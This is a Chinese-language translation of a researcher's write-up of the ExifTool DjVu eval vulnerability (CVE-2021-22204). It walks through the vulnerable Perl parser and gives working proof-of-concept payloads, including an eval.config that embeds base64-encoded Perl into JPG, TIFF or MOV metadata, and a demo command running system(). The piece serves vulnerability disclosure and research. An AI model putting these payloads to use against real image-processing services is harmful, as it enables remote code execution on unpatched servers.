详细分析开源软件 ExifTool 的任意代码执行漏洞 (CVE-2021-22204)

  • A+
所属分类:安全文章

详细分析开源软件 ExifTool 的任意代码执行漏洞 (CVE-2021-22204) 聚焦源代码安全,网罗国内外最新资讯!

编译:奇安信代码卫士


本文作者详述了自己如何从 ExifTool 发现漏洞的过程。


详细分析开源软件 ExifTool 的任意代码执行漏洞 (CVE-2021-22204)
背景


在查看我最喜欢的漏洞奖励计划时,我发现他们使用ExifTool 从所上传图像中过滤标记。过去我无数次使用 ExifTool,但却竟然不知道它的编程语言。因为正在使用的是老旧版本 (11.70),因此我觉得虽然难以解析文件格式,但可能能够滥用一些已有CVE。

快速查找后,我仅发现了一个2018年的 CVE 漏洞,因此我决定查看来源。结果发现它使用 Perl 编写的!虽然之前我从未真正使用或审计过 Perl 代码,不过对这种动态脚本语言的大部分一般概念还是熟悉的。

于是,我开始查找负责文件访问的地方但并未获得太多成功。之后,我查找名为 eva1 的地方,结果发现很多地方都使用了它。

详细分析开源软件 ExifTool 的任意代码执行漏洞 (CVE-2021-22204)


在 Perl 中,可以通过一个代码块使用 eval 捕获异常,这就是为何 eval1 随处可见的原因。不考虑所有的 eval 代码块,我仍然发现了一些有意思的情况。其中一个位于 DjVu 模块的 ParseAnt 方法中。

#------------------------------------------------------------------------------# Parse DjVu annotation "s-expression" syntax (recursively)# Inputs: 0) data ref (with pos($$dataPt) set to start of annotation)# Returns: reference to list of tokens/references, or undef if no tokens,#          and the position in $$dataPt is set to end of last token# Notes: The DjVu annotation syntax is not well documented, so I make#        a number of assumptions here!sub ParseAnt($){    my $dataPt = shift;    my (@toks, $tok, $more);    # (the DjVu annotation syntax really sucks, and requires that every    # single token be parsed in order to properly scan through the items)Tok: for (;;) {        # find the next token        last unless $$dataPt =~ /(S)/sg;   # get next non-space character        if ($1 eq '(') {       # start of list            $tok = ParseAnt($dataPt);        } elsif ($1 eq ')') {  # end of list            $more = 1;            last;        } elsif ($1 eq '"') {  # quoted string            $tok = '';            for (;;) {                # get string up to the next quotation mark                # this doesn't work in perl 5.6.2! grrrr                # last Tok unless $$dataPt =~ /(.*?)"/sg;                # $tok .= $1;                my $pos = pos($$dataPt);                last Tok unless $$dataPt =~ /"/sg;                $tok .= substr($$dataPt, $pos, pos($$dataPt)-1-$pos);                # we're good unless quote was escaped by odd number of backslashes                last unless $tok =~ /(\+)$/ and length($1) & 0x01;                $tok .= '"';    # quote is part of the string            }            # must protect unescaped "$" and "@" symbols, and "" at end of string            $tok =~ s{\(.)|([[email protected]]|\$)}{'\'.($2 || $1)}sge;            # convert C escape sequences (allowed in quoted text)            $tok = eval qq{"$tok"};        } else {                # key name            pos($$dataPt) = pos($$dataPt) - 1;            # allow anything in key but whitespace, braces and double quotes            # (this is one of those assumptions I mentioned)            $tok = $$dataPt =~ /([^s()"]+)/sg ? $1 : undef;        }        push @toks, $tok if defined $tok;    }    # prevent further parsing unless more after this    pos($$dataPt) = length $$dataPt unless $more;    return @toks ? @toks : undef;}


虽然我完全不知道 DjVu 文件是什么,但 ParseAnt 方法的注释很好。包含 eval 的代码块就是当当前匹配是引号时:

  $tok = '';  for (;;) {      # get string up to the next quotation mark      # this doesn't work in perl 5.6.2! grrrr      # last Tok unless $$dataPt =~ /(.*?)"/sg;      # $tok .= $1;      my $pos = pos($$dataPt);      last Tok unless $$dataPt =~ /"/sg;      $tok .= substr($$dataPt, $pos, pos($$dataPt)-1-$pos);      # we're good unless quote was escaped by odd number of backslashes      last unless $tok =~ /(\+)$/ and length($1) & 0x01;      $tok .= '"';    # quote is part of the string  }  # must protect unescaped "$" and "@" symbols, and "" at end of string  $tok =~ s{\(.)|([[email protected]]|\$)}{'\'.($2 || $1)}sge;  # convert C escape sequences (allowed in quoted text)  $tok = eval qq{"$tok"};


它会搭建一个字符串,直至找到另外一个引号,会考虑用反斜杠转义的引号。之后,某些正则表达式转义某些特殊字符,然后将其传递给 qq,最后将结果传递给 eval。从注释中可以看到,这样做是为了支持 C 转义序列,我认为 Perl 中也差不多是这样。被转义的特殊字符试图在 eval 运行时阻止篡改任何字符串或使用双引号。

为进行尝试,我希望能够从图像中点击 ParseAnt。好在存在一个示例 DjVu.djvu 图像,但遗憾的是它使用的是块 ANTz 的压缩版本而非 ANTa 文本。

在十六进制编辑器中查看文件时,格式似乎相当简单。字符串 DJVIANTz 之后是十六进制 000002E0。由于它对应文件中的剩余字节数,因此很可能是标签的长度。我在 ProcessAnt 方法中增加了 print($$dataPt); 并在 djvu 图像中运行 exiftool,得出如下打印内容:

(metadata        (Author "Phil Harvey")        (Title "DjVu Metadata Sample")        (Subject "ExifTool DjVu test image")        (Creator "ExifTool")        (CreationDate "2008-09-23T12:31:34-04:00")        (ModDate "2008-11-11T09:17:10-05:00")        (Keywords "ExifTool, Test, DjVu, XMP")        (Producer "djvused")        (note "Must escape double quotes (") and backslashes (\)")        (Trapped "Unknown")        (annote "Did you get this?")        (url "https://exiftool.org/") )(xmp "<rdf:RDF xmlns:rdf='http://www.w3.org/1999/02/22-rdf-syntax-ns#'>nn <rdf:Description rdf:about=''n  xmlns:album="http://ns.adobe.com/album/1.0/">n  <album:Notes>Must escape double quotes (&quot;) and backslashes (\)</album:Notes>n </rdf:Description>nn <rdf:Description rdf:about=''n  xmlns:dc='http://purl.org/dc/elements/1.1/'>n  <dc:creator>n   <rdf:Seq>n    <rdf:li>Phil Harvey</rdf:li>n   </rdf:Seq>n  </dc:creator>n  <dc:description>n   <rdf:Alt>n    <rdf:li xml:lang='x-default'>ExifTool DjVu test image</rdf:li>n   </rdf:Alt>n  </dc:description>n  <dc:rights>n   <rdf:Alt>n    <rdf:li xml:lang='x-default'>Copyright 2008 Phil Harvey</rdf:li>n   </rdf:Alt>n  </dc:rights>n  <dc:subject>n   <rdf:Bag>n    <rdf:li>ExifTool</rdf:li>n    <rdf:li>Test</rdf:li>n    <rdf:li>DjVu</rdf:li>n    <rdf:li>XMP</rdf:li>n   </rdf:Bag>n  </dc:subject>n  <dc:title>n   <rdf:Alt>n    <rdf:li xml:lang='x-default'>DjVu Metadata Sample</rdf:li>n   </rdf:Alt>n  </dc:title>n </rdf:Description>nn <rdf:Description rdf:about=''n  xmlns:pdf='http://ns.adobe.com/pdf/1.3/'>n  <pdf:Keywords>ExifTool, Test, DjVu, XMP</pdf:Keywords>n  <pdf:Producer>djvused</pdf:Producer>n  <pdf:Trapped>/Unknown</pdf:Trapped>n </rdf:Description>nn <rdf:Description rdf:about=''n  xmlns:xmp='http://ns.adobe.com/xap/1.0/'>n  <xmp:CreateDate>2008-09-23T12:31:34-04:00</xmp:CreateDate>n  <xmp:CreatorTool>ExifTool</xmp:CreatorTool>n  <xmp:ModifyDate>2008-11-11T09:17:10-05:00</xmp:ModifyDate>n </rdf:Description>n</rdf:RDF>")
<snip>
Author : Phil HarveyCreate Date : 2008:09:23 12:31:34-04:00Modify Date : 2008:11:11 09:17:10-05:00Keywords : ExifTool, Test, DjVu, XMP


因此,元数据格式似乎以括号缩进,以 metadata 开始,其后是标签名称和带引号的值对。我编辑了该文件,用 DJVIANTax00x00x00!(metadata (Author "Phil Harvey")) 替换了 DJVIANTz... 块,重新运行 exiftool,之后提取并显示了作者标签!


详细分析开源软件 ExifTool 的任意代码执行漏洞 (CVE-2021-22204)
漏洞


现在,我获得了一种能够快速测试不同组合的方法,另外,每当修改 $tok通时就会显示更多的 print 行。我在测试不同的新行和反斜杠组合时,发现了如下错误:

String found where operator expected at (eval 8) line 2, at end of line        (Missing semicolon on previous line?)


我使用了一个反斜杠,后跟一个换行符,再加上一个双引号,导致如下被 eval:

"a""

第二个引号并未转义,因为在正则表达式 $tok =~ /(\+)$/ 中,$ 将匹配字符串的末尾,同时也会在字符串末尾的换行符之前进行匹配,因此该代码将换行符转义认为是引号转义。

这样就好办了,只要使其成为有效的 Perl,它就会被 eval!我修改了元数据,注释掉末尾的引号并执行返回 date:

(metadata    (Author "" . return `date`; #"))


在新图像上运行exiftool 就会导致代码执行!

ExifTool Version Number         : 12.23File Name                       : DjVu.djvuFile Size                       : 376 bytesFile Modification Date/Time     : 2021:05:04 22:50:09+10:00File Access Date/Time           : 2021:05:04 22:50:09+10:00File Inode Change Date/Time     : 2021:05:04 22:50:09+10:00File Permissions                : -rw-r--r--File Type                       : DJVU (multi-page)File Type Extension             : djvuMIME Type                       : image/vnd.djvuSubfile Type                    : Single-page imageImage Width                     : 8Image Height                    : 8DjVu Version                    : 0.24Spatial Resolution              : 100Gamma                           : 2.2Orientation                     : Unknown (0)Included File ID                : shared_anno.iffAuthor                          : Tue  4 May 2021 22:51:12 AEST.Image Size                      : 8x8Megapixels                      : 0.000064


详细分析开源软件 ExifTool 的任意代码执行漏洞 (CVE-2021-22204)
其它格式


虽然只将未知文件传递给 ExifTool 就可执行代码令人惊讶,但更好的情况是,可通过一种更常见格式的有效图像触发该漏洞。如此,即使是在将图像传递给 ExifTool 之前执行的验证(例如确保它是 png 或 jpeg),但它仍然起效。

于是我开始查看 DjVu 模块是否用于别处,但结果发现只有 AIFF 模块进行了引用。我记得 ExifTool 可被用于嵌入并提取 jpeg 缩略图,但查看使用它得 ThumbnailImage似乎并未尝试解析该嵌入式图像。

这使我查看解析图像元数据的函数:

#------------------------------------------------------------------------------# Extract meta information from image# Inputs: 0) ExifTool object reference#         1-N) Same as ImageInfo()# Returns: 1 if this was a valid image, 0 otherwise# Notes: pass an undefined value to avoid parsing arguments# Internal 'ReEntry' option allows this routine to be called recursivelysub ExtractInfo($;@)


有意思的是,注释中提到,如果指定了 ReEntry 选项,则可递归调用。查看使用 ExtractInfo 的地方把我带到了 Exif 模块:

%Image::ExifTool::Exif::Main = (  # SNIP
0xc51b => { # (Hasselblad H3D) Name => 'HasselbladExif', Format => 'undef', RawConv => q{ $$self{DOC_NUM} = ++$$self{DOC_COUNT}; $self->ExtractInfo($val, { ReEntry => 1 }); $$self{DOC_NUM} = 0; return undef; }, },


因此,如果找到 EXIF 标签 0xc51b,则值会被传递给 ExtractInfo 并解析元数据,从而找到 DjVu漏洞。Exif 模块顶部的描述是 Read EXIF/TIFF meta inforamtion,于是我开始读取 TIFF 格式。

测试文件中有一个 tif 样本,可运行 –v10 的exiftool:

exiftool -v10 ./t/images/ExifTool.tif  ExifToolVersion = 11.85  FileName = ExifTool.tif  Directory = ./t/images  FileSize = 4864  FileModifyDate = 1618544560  FileAccessDate = 1618544564  FileInodeChangeDate = 1618974185  FilePermissions = 33188  FileType = TIFF  FileTypeExtension = TIF  MIMEType = image/tiff  ExifByteOrder = MM  + [IFD0 directory with 22 entries]  | 0)  SubfileType = 0  |     - Tag 0x00fe (4 bytes, int32u[1]):  |         0012: 00 00 00 00                                     [....]  | 1)  ImageWidth = 160  |     - Tag 0x0100 (4 bytes, int32u[1]):  |         001e: 00 00 00 a0                                     [....]  | 2)  ImageHeight = 120  |     - Tag 0x0101 (4 bytes, int32u[1]):  |         002a: 00 00 00 78                                     [...x]  | 3)  BitsPerSample = 8 8 8  |     - Tag 0x0102 (6 bytes, int16u[3]):  |         0116: 00 08 00 08 00 08                               [......]  | 4)  Compression = 5  |     - Tag 0x0103 (2 bytes, int16u[1]):  |         0042: 00 05                                           [..]  | 5)  PhotometricInterpretation = 2  |     - Tag 0x0106 (2 bytes, int16u[1]):  |         004e: 00 02                                           [..]  | 6)  ImageDescription = The picture caption  |     - Tag 0x010e (20 bytes, string[20]):  |         011c: 54 68 65 20 70 69 63 74 75 72 65 20 63 61 70 74 [The picture capt]  |         012c: 69 6f 6e 00                                     [ion.]  | 7)  Make = Canon  |     - Tag 0x010f (6 bytes, string[6]):  |         0130: 43 61 6e 6f 6e 00                               [Canon.]  | 8)  Model = Canon EOS DIGITAL REBEL  |     - Tag 0x0110 (24 bytes, string[24]):  |         0136: 43 61 6e 6f 6e 20 45 4f 53 20 44 49 47 49 54 41 [Canon EOS DIGITA]  |         0146: 4c 20 52 45 42 45 4c 00                         [L REBEL.]  | 9)  StripOffsets = 3816  |     - Tag 0x0111 (4 bytes, int32u[1]):  |         007e: 00 00 0e e8                                     [....]  | 10) SamplesPerPixel = 3  |     - Tag 0x0115 (2 bytes, int16u[1]):  |         008a: 00 03                                           [..]  | 11) RowsPerStrip = 120  |     - Tag 0x0116 (4 bytes, int32u[1]):  |         0096: 00 00 00 78                                     [...x]  | 12) StripByteCounts = 1048  |     - Tag 0x0117 (4 bytes, int32u[1]):  |         00a2: 00 00 04 18                                     [....]  | 13) XResolution = 180 (1800/10)  |     - Tag 0x011a (8 bytes, rational64u[1]):  |         014e: 00 00 07 08 00 00 00 0a                         [........]  | 14) YResolution = 180 (1800/10)  |     - Tag 0x011b (8 bytes, rational64u[1]):  |         0156: 00 00 07 08 00 00 00 0a                         [........]  | 15) PlanarConfiguration = 1  |     - Tag 0x011c (2 bytes, int16u[1]):  |         00c6: 00 01                                           [..]  | 16) ResolutionUnit = 2  |     - Tag 0x0128 (2 bytes, int16u[1]):  |         00d2: 00 02                                           [..]  | 17) Software = GraphicConverter  |     - Tag 0x0131 (17 bytes, string[17]):  |         015e: 47 72 61 70 68 69 63 43 6f 6e 76 65 72 74 65 72 [GraphicConverter]  |         016e: 00                                              [.]  | 18) ModifyDate = 2004:02:20 08:07:49  |     - Tag 0x0132 (20 bytes, string[20]):  |         0170: 32 30 30 34 3a 30 32 3a 32 30 20 30 38 3a 30 37 [2004:02:20 08:07]  |         0180: 3a 34 39 00                                     [:49.]  | 19) Predictor = 1  |     - Tag 0x013d (2 bytes, int16u[1]):  |         00f6: 00 01                                           [..]  | 20) IPTC-NAA (SubDirectory) -->  |     - Tag 0x83bb (284 bytes, int32u[71] read as undef[284]):  |         0184: 1c 02 00 00 02 00 02 1c 02 78 00 13 54 68 65 20 [.........x..The ]  |         0194: 70 69 63 74 75 72 65 20 63 61 70 74 69 6f 6e 1c [picture caption.]  |         01a4: 02 7a 00 0a 49 20 77 72 6f 74 65 20 69 74 1c 02 [.z..I wrote it..]  |         01b4: 28 00 0f 6e 6f 20 69 6e 73 74 72 75 63 74 69 6f [(..no instructio]  |         01c4: 6e 73 1c 02 50 00 0e 49 27 6d 20 74 68 65 20 61 [ns..P..I'm the a]  |         01d4: 75 74 68 6f 72 1c 02 55 00 06 4f 6e 20 74 6f 70 [uthor..U..On top]  |         01e4: 1c 02 6e 00 0b 50 68 69 6c 20 48 61 72 76 65 79 [..n..Phil Harvey]  |         01f4: 1c 02 73 00 09 4d 79 20 63 61 6d 65 72 61 1c 02 [..s..My camera..]  |         0204: 05 00 11 54 68 69 73 20 69 73 20 74 68 65 20 74 [...This is the t]  |         0214: 69 74 6c 65 1c 02 37 00 08 32 30 30 34 30 32 32 [itle..7..2004022]  |         0224: 30 1c 02 5a 00 08 4b 69 6e 67 73 74 6f 6e 1c 02 [0..Z..Kingston..]  |         0234: 5f 00 07 4f 6e 74 61 72 69 6f 1c 02 65 00 06 43 [_..Ontario..e..C]  |         0244: 61 6e 61 64 61 1c 02 67 00 0c 6e 6f 20 72 65 66 [anada..g..no ref]  |         0254: 65 72 65 6e 63 65 1c 02 19 00 08 65 78 69 66 74 [erence.....exift]  |         0264: 6f 6f 6c 1c 02 19 00 04 74 65 73 74 1c 02 19 00 [ool.....test....]  |         0274: 07 70 69 63 74 75 72 65 1c 02 74 00 10 43 6f 70 [.picture..t..Cop]  |         0284: 79 72 69 67 68 74 20 6e 6f 74 69 63 65 1c 02 69 [yright notice..i]  |         0294: 00 08 68 65 61 64 6c 69 6e 65 00 00             [..headline..]  | + [IPTC directory, 284 bytes]  ...


在十六进制编辑器中打开该文件并搜素标签 id 83BB 可找到如下序列 83BB00040000004700000184。从格式文档中可知,它匹配 tif 标签:

typedef struct _TifTag{  WORD   TagId;       /* The tag identifier  */  WORD   DataType;    /* The scalar type of the data items  */  DWORD  DataCount;   /* The number of items in the tag data  */  DWORD  DataOffset;  /* The byte offset to the data items  */} TIFTAG;


因此,该标签 id 是 0x83BB,数据类型是4,计数是 0x47 (71),偏移量是 0x184 (388)。数据类型为4是一个32位的未签名整数,和详细输出提供的信息相关。只需将 0x83BB 更改为 0xC518 并重新运行 exiftool 就可得到 HasselbladExif 标签!之后我用一个简短的 payload 替换了整个标签值,该 payload 将触发 eval:

$ exiftool -v10 ./t/images/ExifTool.tif...  | 19) Predictor = 1  |     - Tag 0x013d (2 bytes, int16u[1]):  |         00f6: 00 01                                           [..]  | 20) HasselbladExif = AT&TFORM.DJVUANTa..(metadata.    (Author "." . return `date`; #")  |     - Tag 0xc51b (284 bytes, int32u[71] read as undef[284]):  |         0184: 41 54 26 54 46 4f 52 4d 00 00 00 08 44 4a 56 55 [AT&TFORM....DJVU]  |         0194: 41 4e 54 61 00 00 01 04 28 6d 65 74 61 64 61 74 [ANTa....(metadat]  |         01a4: 61 0a 20 20 20 20 28 41 75 74 68 6f 72 20 22 5c [a.    (Author "]  |         01b4: 0a 22 20 2e 20 72 65 74 75 72 6e 20 60 64 61 74 [." . return `dat]  |         01c4: 65 60 3b 20 23 22 29 20 20 20 20 20 20 20 20 20 [e`; #")         ]  |         01d4: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 [                ]  |         01e4: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 [                ]  |         01f4: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 [                ]  |         0204: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 [                ]  |         0214: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 [                ]  |         0224: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 [                ]  |         0234: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 [                ]  |         0244: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 [                ]  |         0254: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 [                ]  |         0264: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 [                ]  |         0274: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 [                ]  |         0284: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 [                ]  |         0294: 20 20 20 20 20 20 20 20 20 20 20 20             [            ]  | FileType = DJVU  | FileTypeExtension = DJVU  | MIMEType = image/vnd.djvuAIFF 'ANTa' chunk (260 bytes of data): 24  | ANTa (SubDirectory) -->  | - Tag 'ANTa' (260 bytes):  |     0018: 28 6d 65 74 61 64 61 74 61 0a 20 20 20 20 28 41 [(metadata.    (A]  |     0028: 75 74 68 6f 72 20 22 5c 0a 22 20 2e 20 72 65 74 [uthor "." . ret]  |     0038: 75 72 6e 20 60 64 61 74 65 60 3b 20 23 22 29 20 [urn `date`; #") ]  |     0048: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 [                ]  |     0058: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 [                ]  |     0068: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 [                ]  |     0078: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 [                ]  |     0088: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 [                ]  |     0098: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 [                ]  |     00a8: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 [                ]  |     00b8: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 [                ]  |     00c8: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 [                ]  |     00d8: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 [                ]  |     00e8: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 [                ]  |     00f8: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 [                ]  |     0108: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 [                ]  |     0118: 20 20 20 20                                     [    ]  | | Metadata (SubDirectory) -->  | | + [Metadata directory with 1 entries]  | | | Author = Thu  6 May 2021 21:06:17 AEST.


太好了。因此现在可通过有效的 tif 触发 payload。更重要的是,EXIF 数据用于很多其它格式中:

EXIF stands for "Exchangeable Image File Format".  This type of informationis formatted according to the TIFF specification, and may be found in JPG,TIFF, PNG, JP2, PGF, MIFF, HDP, PSP and XCF images, as well as manyTIFF-based RAW images, and even some AVI and MOV videos.


 如果不用每次都手动编辑文件,而是有专门用于编辑图像元数据的工具就太好了。ExifTool 可使用户使用 Image::ExifTool::UserDefined 通过一个配置文件创建自己的标签表。经过尝试和出错后,我拥有如下 eval.config 文件:

%Image::ExifTool::UserDefined = (    'Image::ExifTool::Exif::Main' => {        0xc51b => {            Name => 'eval',            Binary => 1,            Writable => 'undef',            WriteGroup => 'IFD0',            ValueConvInv => sub {                use MIME::Base64;                my $val = shift;                $encoded = encode_base64($val);                my $meta = qq/(metadata(Copyright "\n" eq ''; return (eval { use MIME::Base64; eval(decode_base64(q%$encoded%)); });#"))/;                my $len = pack "N", length($meta);                my $payload = qq/AT&TFORMx00x00x00x08DJVUANTa$len$meta/;                return $payload;            }        }    })


这就使我们能够将 HasselbladExif 标签添加到可使 exiftool 将 EXIF 标签写入的任意格式(例如 jpg、tif、png):

$ exiftool -config eval.config image.jpg -eval='system("echo ggg")'$ exiftool image.jpg$ exiftool image.jpggggExifTool Version Number         : 11.85File Name                       : image.jpgDirectory                       : .File Size                       : 11 kB


详细分析开源软件 ExifTool 的任意代码执行漏洞 (CVE-2021-22204)
意外格式


使用标签表 Image::ExifTool::Exif::Main,调用 ExtractInfo、ProcessTIFF、ProcessExif,或处理任意易受攻击格式的任意格式也可能被使用。部分清单如下:

  • ZIP - lib/Image/ExifTool/ZIP.pm#L599-L600

如 zip 文件包含 meta.json,则它会调用 ExtractInfo。

if ($extract{$file}) {    ($buff, $status) = $zip->contents($member);    $status and $et->Warn("Error extracting $file"), next;    if ($file eq 'meta.json') {        $et->ExtractInfo($buff, { ReEntry => 1 });        if ($$et{VALUE}{App} and $$et{VALUE}{App} =~ /sketch/i) {            $et->OverrideFileType('SKETCH');        }


  • PDF - lib/Image/ExifTool/PDF.pm#L2071-L2076

如果 PDF 使用了 DCTDecode 或 JPXDecode 过滤器,则会调用 ExtractInfo。

if ($filter eq '/DCTDecode' or $filter eq '/JPXDecode') {    DecodeStream($et, $dict) or last;    # save the image itself    $et->FoundTag($tagInfo, $$dict{_stream});    # extract information from embedded image    $result = $et->ExtractInfo($$dict{_stream}, { ReEntry => 1 });


  • AVI - lib/Image/ExifTool/RIFF.pm#L497-L503

EXIF 标签会被处理为 tiff。ExifTool 不支持写入 AVIs,但用于在 AVI 中对其的 JUNK 标签可用 EXIF 和一个 tiff/exif payload 替换。

 EXIF => [{ # (WebP)        Name => 'EXIF',        Condition => '$$valPt =~ /^(IIx2a|MMx2a)/',        Notes => 'WebP files',        SubDirectory => {            TagTable => 'Image::ExifTool::Exif::Main',            ProcessProc => &Image::ExifTool::ProcessTIFF,


  • MOV/MP4 - lib/Image/ExifTool/QuickTime.pm#L2128-L2132

UserData 标签 RMKN 将被当作 tiff 处理,之后解析exif 数据。

 RMKN => { #PH (GR)        Name => 'RicohRMKN',        SubDirectory => {            TagTable => 'Image::ExifTool::Exif::Main',            ProcessProc => &Image::ExifTool::ProcessTIFF, # (because ProcessMOV is default)


之前的配置文件可被修改为支持写入该标签:

use MIME::Base64;
sub GetDjVu { my ($val) = @_; $encoded = encode_base64($val); my $meta = qq/(metadata(Copyright "\n" eq ''; return (eval { use MIME::Base64; eval(decode_base64(q%$encoded%)); });#"))/; my $len = pack "N", length($meta); my $payload = qq/AT&TFORMx00x00x00x08DJVUANTa$len$meta/; return $payload;}
sub GetTiff { my ($val) = @_; my $payload = GetDjVu($val); my $len = pack "N", length($payload) + 1; my $tif = "MMx00*x00x00x00x08x00x05x01x1ax00x05x00x00x00x01x00x00x00Jx01x1bx00x05x00x00x00x01x00" . "x00x00Rx01(x00x03x00x00x00x01x00x03x00x00x02x13x00x03x00x00x00x01x00x01x00x00xc5x1bx00x07" . "$lenx00x00x00Zx00x00x00x00x00x00x00%x00x00x00x01x00x00x00%x00x00x00x01" . "$payloadx00"; return $tif;}
%Image::ExifTool::UserDefined = ( 'Image::ExifTool::Exif::Main' => { 0xc51b => { Name => 'eval', Binary => 1, Writable => 'undef', WriteGroup => 'IFD0', ValueConvInv => sub { return GetDjVu(shift); } } },
'Image::ExifTool::QuickTime::UserData' => { 'RMKN' => { Name => 'eval', Binary => 1, Writable => 'undef', ValueConvInv => sub { return GetTiff(shift); } } })


详细分析开源软件 ExifTool 的任意代码执行漏洞 (CVE-2021-22204)
参考来源


  • https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-22204

  • https://hackerone.com/reports/1154542

  • @wcbowling/status/138580392732141568

  • https://exiftool.org/history.html#v12.24






推荐阅读

Apache Struts 和 Spring 开源漏洞状况的对比
谷歌开源容器镜像的签名和验证工具 Cosign
开源包管理器Homebrew被曝 RCE,影响 macOS 和 Linux 系统
“机智号”成功试飞火星,但它使用的开源软件安全吗?
详细分析PHP源代码后门事件及其供应链安全启示




原文链接

https://devcraft.io/2021/05/04/exiftool-arbitrary-code-execution-cve-2021-22204.html


题图:Pixabay License


本文由奇安信编译,不代表奇安信观点。转载请注明“转自奇安信代码卫士 https://codesafe.qianxin.com”。



详细分析开源软件 ExifTool 的任意代码执行漏洞 (CVE-2021-22204)
详细分析开源软件 ExifTool 的任意代码执行漏洞 (CVE-2021-22204)

奇安信代码卫士 (codesafe)

国内首个专注于软件开发安全的

产品线。

   详细分析开源软件 ExifTool 的任意代码执行漏洞 (CVE-2021-22204) 觉得不错,就点个 “在看” 或 "” 吧~



本文始发于微信公众号(代码卫士):详细分析开源软件 ExifTool 的任意代码执行漏洞 (CVE-2021-22204)

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: